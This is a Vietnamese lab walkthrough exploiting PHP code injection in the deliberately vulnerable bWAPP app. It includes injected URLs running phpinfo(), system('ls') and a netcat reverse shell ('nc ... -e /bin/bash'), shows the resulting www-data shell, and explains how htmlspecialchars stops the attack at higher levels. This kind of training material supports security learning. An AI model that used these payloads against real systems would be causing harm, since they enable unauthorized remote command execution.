

# **bWAPP**

## **PHP Code Injection**

Tổng quan về PHP Object Injection:

### **- PHP Object Injection là gì?**

PHP Object Injection là một lỗ hổng cấp ứng dụng có thể cho phép kẻ tấn công thực hiện các loại tấn công độc hại, chẳng hạn như Code Injection , SQL Injection , Path Traversal và Application Denial of Service. Lỗ hổng xảy ra khi đầu vào do người dùng cung cấp không được khử trùng đúng cách trước khi được chuyển đến hàm PHP unserialize(). Vì PHP cho phép tuần tự hóa đối tượng, nên kẻ tấn công có thể chuyển các chuỗi được tuần tự hóa đặc biệt đến lệnh gọi unserialize() để bị tấn công, dẫn đến việc đưa (các) đối tượng PHP tùy ý vào

### **- PHP Code Injection là gì?**

PHP Code Injection là một lỗ hổng xảy ra khi kẻ tấn công có thể đưa mã PHP độc hại vào một ứng dụng web. Lỗ hổng này có thể bị khai thác bằng cách thao túng đầu vào của người dùng hoặc bằng cách khai thác các điểm yếu trong mã của ứng dụng.

Và sau đây chúng ta sẽ tấn công PHP Code Injection với bWAPP

### **- Level Low**

Đây là hình ảnh ban đầu của trang web chúng ta sẽ tấn công vào



Chúng ta có thể thấy chữ “message” có thể click vào để chuyển hướng sang một đường link khác và ta sẽ click vào “message thử”

Sau khi click vào chúng ta sẽ được chuyển hướng sang một đường link khác vào giao diện trang web đã được thay đổi



Ta có thể thấy thêm chữ test ở trong giao diện hiển thị và trong URL chúng ta cũng đã thay đổi

```
http://localhost/bWAPP/phpi.php?message=test
```

Giờ chúng ta sẽ thử thay đổi một chúng trong URL này bằng các thêm một hàm PHP vào thay cho chữ test để tránh xuất thông tin của website như thành phpinfo()

phpinfo() được dùng để xuất thông tin về cấu hình của PHP

Giờ URL của chúng ta sẽ được chuyển thành

```
http://localhost/bWAPP/phpi.php?message=phpinfo()
```

Và kết quả chúng ta nhận được là

/ PHP Code Injection /

This is just a test page, reflecting back your message...



<b>System</b>	Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686
<b>Build Date</b>	Feb 27 2008 20:27:58
<b>Server API</b>	Apache 2.0 Handler
<b>Virtual Directory Support</b>	disabled
<b>Configuration File (php.ini) Path</b>	/etc/php5/apache2
<b>Loaded Configuration File</b>	/etc/php5/apache2/php.ini
<b>Scan this dir for additional .ini files</b>	/etc/php5/apache2/conf.d
<b>additional .ini files parsed</b>	/etc/php5/apache2/conf.d/gd.ini, /etc/php5/apache2/conf.d/ldap.ini, /etc/php5/apache2/conf.d/mysql.ini, /etc/php5/apache2/conf.d/pdo.ini, /etc/php5/apache2/conf.d/pdo_mysql.ini, /etc/php5/apache2/conf.d/pdo_sqlite.ini, /etc/php5/apache2/conf.d/sqlite.ini
<b>PHP API</b>	20041225
<b>PHP Extension</b>	20060613
<b>Zend Extension</b>	220060519
<b>Debug Build</b>	no

Giờ trang web đã đưa cho chúng ta thông tin cấu hình PHP của trang web

Ta sẽ thử chèn một con powershell vào trang web này trước tiên chúng ta sẽ kiểm tra xem hàm system() có thể chèn vào hay không

System() dùng để thực thi một chương trình bên ngoài và hiển thị đầu ra

Ta sẽ chèn hàm system('ls') để trích xuất toàn bộ các file ở trong trang web này và URL của chúng ta giờ sẽ trở thành

```
http://localhost/bWAPP/phpi.php?message=system('ls')
```

Và đây là kết quả ta nhận được

## / PHP Code Injection /

This is just a test page, reflecting back your **message...**

666 admin aim.php apps ba\_captcha\_bypass.php ba\_forgotten.php ba\_insecure\_login.php ba\_insecure\_login\_1.php ba\_insecure\_login\_2.php ba\_insecure\_login\_3.php ba\_logout.php ba\_logout\_1.php ba\_pwd\_attacks.php ba\_pwd\_attacks\_1.php ba\_pwd\_attacks\_2.php ba\_pwd\_attacks\_3.php ba\_pwd\_attacks\_4.php ba\_weak\_pwd.php backdoor.php bof\_1.php bof\_2.php bugs.txt captcha.php captcha\_box.php clickjacking.php commandi.php commandi\_blind.php config.inc config.inc.php connect.php connect\_i.php credits.php cs\_validation.php csrf\_1.php csrf\_2.php csrf\_3.php db directory\_traversal\_1.php directory\_traversal\_2.php documents fonts functions\_external.php heartbleed.php hostheader\_1.php hostheader\_2.php hpp-1.php hpp-2.php hpp-3.php htli\_current\_url.php htli\_get.php htli\_post.php htli\_stored.php http\_response\_splitting.php http\_verb\_tampering.php iframei.php images index.php info.php info\_install.php information\_disclosure\_1.php information\_disclosure\_2.php information\_disclosure\_3.php information\_disclosure\_4.php insecure\_crypt\_storage\_1.php insecure\_crypt\_storage\_2.php insecure\_crypt\_storage\_3.php insecure\_direct\_object\_ref\_1.php insecure\_direct\_object\_ref\_2.php insecure\_direct\_object\_ref\_3.php insecure\_iframe.php install.php insuff\_transp\_layer\_protect\_1.php insuff\_transp\_layer\_protect\_2.php insuff\_transp\_layer\_protect\_3.php insuff\_transp\_layer\_protect\_4.php js lang\_en.php lang\_fr.php lang\_nl.php ldap\_connect.php ldapi.php lfi\_sqlitemanager.php login.php logout.php logs maili.php manual\_interv.php message.txt password\_change.php passwords php.cgi.php php\_eval.php phpi.php phpi\_sqlitemanager.php phpinfo.php portalbak portal.php portal.zip reset.php resetriat\_device\_reset.php resetriat\_folder\_reset.php rfi.php robots.txt

Bây giờ ta sẽ chèn một con reverse shell vào trong trang web này

Trước hết ta phải biết được ip của chúng ta là gì. Và để biết được chúng ta sẽ vào terminal và viết lệnh này

```
!fconfig
```

```
bee@bee-box: ~  
File Edit View Terminal Tabs Help  
bee@bee-box:~$ ifconfig  
eth0      Link encap:Ethernet  HWaddr 00:0c:29:0b:54:fe  
          inet addr:192.168.42.135  Bcast:192.168.42.255  Mask:255.255.255.0  
          inet6 addr: fe80::20c:29ff:fe0b:54fe/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:1376 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:340 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:185278 (180.9 KB)  TX bytes:45538 (44.4 KB)  
          Interrupt:16 Base address:0x2024  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING  MTU:16436  Metric:1  
          RX packets:952 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:952 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:1242942 (1.1 MB)  TX bytes:1242942 (1.1 MB)  
  
bee@bee-box:~$
```

Ta thấy được ip của chúng ta là 192.168.42.135

Sau khi biết được ip của máy chúng ta rồi thì ta sẽ sử dụng netcat để nghe từ cổng 4444 với câu lệnh

```
nc -lvp 4444
```

Sau khi chạy ta sẽ có được như vậy

```
bee@bee-box:~$ nc -lvp 4444  
listening on [any] 4444 ...  
█
```

Đây thể hiện là chúng ta đã bắt đầu nghe từ cổng 4444, giờ ta sẽ thay đổi URL của trang web

```
http://localhost/bWAPP/phpi.php?message=system('nc 192.168.42.135 4444 -e /bin/bash')
```

Sau khi chúng ta sửa URL ta sẽ thấy trong terminal

```
bee@bee-box:~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.42.135] from bee-box.local [192.168.42.135] 50537
```

---

Chúng ta đã thành công và có được reverse shell

Và chúng ta có thể xem được thông tin của trang web rõ hơn

```
bee@bee-box:~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.42.135] from bee-box.local [192.168.42.135] 50537
whoami
www-data
ls
666
admin
aim.php
apps
ba_captcha_bypass.php
ba_forgotten.php
ba_insecure_login.php
ba_insecure_login_1.php
ba_insecure_login_2.php
ba_insecure_login_3.php
ba_logout.php
```

---

Đến đây chúng ta coi như đã thành công trong việc khai thác lỗ hổng với level Low

## - Level Medium và Level High



Sau khi chuyển lên Level Medium thì ta đã không thể tiếp tục như với level Low được nữa nên chúng ta sẽ thử đi đến source code của trang web này

```

if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2"){

?>
    <p><i><?php @eval ("echo " . $_REQUEST["message"] . ";;");?></i></p>

<?php
    }
    // If the security level is MEDIUM or HIGH
    else
    {
?>
        <p><i><?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?></i></p>
    <?php
        }
    }
}

```

Ở đây ta có thể thấy được ở level Low hàm eval đã cho ta có thể tiêm được các hàm PHP để có thể khai thác lỗ hổng của trang web này

Nhưng khi lên đến level Medium or High chúng đã sử dụng chung cùng một hàm để filter là htmlspecialchars và chúng ta không thể có cách nào có thể khai thác lỗ hổng này ở 2 mức Medium và High